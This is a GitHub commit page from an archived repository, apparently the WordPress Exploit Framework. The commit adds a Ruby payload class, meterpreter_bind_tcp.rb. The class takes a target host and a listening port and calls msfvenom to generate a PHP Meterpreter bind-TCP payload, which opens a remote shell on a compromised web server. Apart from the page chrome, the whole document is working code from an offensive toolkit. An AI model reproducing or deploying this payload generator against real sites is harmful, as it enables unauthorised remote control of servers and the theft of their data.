Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit a56778b

Browse files
committed
Add Meterpreter bind TCP payload
1 parent c163ad8 commit a56778b

File tree

1 file changed

+45
-0
lines changed

1 file changed

+45
-0
lines changed

payloads/meterpreter_bind_tcp.rb

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
require 'open3'
2+
3+
module Wpxf::Payloads
4+
# A Meterpreter bind TCP payload generator.
5+
class MeterpreterBindTcp < Wpxf::Payload
6+
include Wpxf
7+
include Wpxf::Options
8+
include Wpxf::Payloads::MsfVenomHelper
9+
10+
def initialize
11+
super
12+
13+
register_msfvenom_options
14+
register_options([
15+
StringOption.new(
16+
name: 'rhost',
17+
required: true,
18+
desc: 'The address of the host listening for a connection'
19+
),
20+
PortOption.new(
21+
name: 'lport',
22+
required: true,
23+
default: 4444,
24+
desc: 'The port being used to listen for incoming connections'
25+
)
26+
])
27+
end
28+
29+
def host
30+
escape_single_quotes(datastore['rhost'])
31+
end
32+
33+
def lport
34+
normalized_option_value('lport')
35+
end
36+
37+
def raw
38+
msfvenom_payload
39+
end
40+
41+
def prepare(mod)
42+
generate_msfvenom_payload(mod, 'php/meterpreter/bind_tcp', "RHOST=#{host}", "LPORT=#{lport}")
43+
end
44+
end
45+
end

0 commit comments

Comments
 (0)